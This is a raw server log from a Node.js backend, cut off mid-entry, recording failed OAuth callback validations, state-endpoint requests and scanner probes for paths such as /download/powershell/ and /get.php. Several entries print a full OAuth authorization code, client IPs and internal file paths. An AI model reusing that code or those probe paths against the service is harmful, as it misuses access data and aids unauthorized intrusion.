──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758642406774_yarxc9gqv' } ❌ [ERROR] 2025-09-23T15:46:46.776Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758642406774_yarxc9gqv', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:53:44.353Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758642824353_3xvrf3191' } ❌ [ERROR] 2025-09-23T15:53:44.355Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758642824353_3xvrf3191', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:58:56.194Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758643136193_pajdty6wa' } ❌ [ERROR] 2025-09-23T15:58:56.195Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758643136193_pajdty6wa', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T15:59:13.031Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:8.220.198.177', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758643153030_nyrv8vz1s', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T15:59:42.954Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:8.220.198.177', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36' }, requestId: 'req_1758643182951_clnh01sen', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T16:02:00.941Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.18', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758643320940_aizpq7o7w', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T16:17:06.888Z HTTP GET /bins/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.18', method: 'GET', url: '/bins/', userAgent: undefined }, requestId: 'req_1758644226886_8e461s10g', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T16:38:41.755Z HTTP GET /bin/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.18', method: 'GET', url: '/bin/', userAgent: undefined }, requestId: 'req_1758645521754_dqcewy7my', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T16:44:58.268Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758645898267_xarx0yx7v', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T16:47:59.514Z HTTP GET /backup/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.18', method: 'GET', url: '/backup/', userAgent: undefined }, requestId: 'req_1758646079513_s0zepuccw', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T17:00:02.899Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758646802898_rm4l4vtz7', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T17:07:38.171Z HTTP HEAD http://112.124.42.80:63435/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:60.191.125.35', method: 'HEAD', url: 'http://112.124.42.80:63435/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36' }, requestId: 'req_1758647258170_dmo1kf8d2', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-23T17:13:53.299Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 59, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647633160_utzz0mi50', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T17:15:07.475Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647707474_k3buyav53' } ❌ [ERROR] 2025-09-23T17:15:07.476Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647707474_k3buyav53', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T17:15:12.198Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647712197_lp2yhq6ez' } ❌ [ERROR] 2025-09-23T17:15:12.199Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647712197_lp2yhq6ez', response: { statusCode: 400 } } ℹ️ [INFO] 2025-09-23T17:15:26.362Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647726358_59j9aco0f', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:54.882Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647874881_m5ovu25nc', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:55.177Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647875176_exgy78ksq', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:55.239Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647875237_q2u6dyyyp', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:58.309Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647878307_4jbsxih5d', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:58.311Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647878309_otmivcaso', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:58.314Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647878313_6p26bbf2q', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:58.317Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647878315_p4oi8e80t', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:17:58.318Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758647878317_9bwzzrknp', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '66.132.153.117', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T17:20:11.389Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758648011389_yf5sbic1j' } ❌ [ERROR] 2025-09-23T17:20:11.390Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758648011389_yf5sbic1j', response: { statusCode: 400 } } ℹ️ [INFO] 2025-09-23T17:53:34.133Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758650014132_33i2my5qk', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T17:58:34.335Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758650314334_8p20b7kql', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-23T18:03:25.513Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758650605512_of7poe23h', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '199.45.155.81', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T18:10:36.360Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758651036359_jx4hv58o8' } ❌ [ERROR] 2025-09-23T18:10:36.361Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758651036359_jx4hv58o8', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T18:14:55.820Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:161.35.95.45', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758651295819_6sr86hab0', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T18:14:55.864Z HTTP GET /download/powershell/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:161.35.95.45', method: 'GET', url: '/download/powershell/', userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' }, requestId: 'req_1758651295863_cjzu2mwuf', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T18:14:55.906Z HTTP GET /get.php - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:161.35.95.45', method: 'GET', url: '/get.php', userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' }, requestId: 'req_1758651295906_hhsbe67h0', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T18:39:29.979Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758652769979_3773mlfzp', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T19:21:54.827Z HTTP GET /script - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.254', method: 'GET', url: '/script', userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0' }, requestId: 'req_1758655314827_4pznqlf2t', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T19:26:33.623Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758655593622_pymwhvl0j', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-23T20:04:06.186Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758657846185_t4go8hbk7', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '172.236.228.218', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T20:05:38.360Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 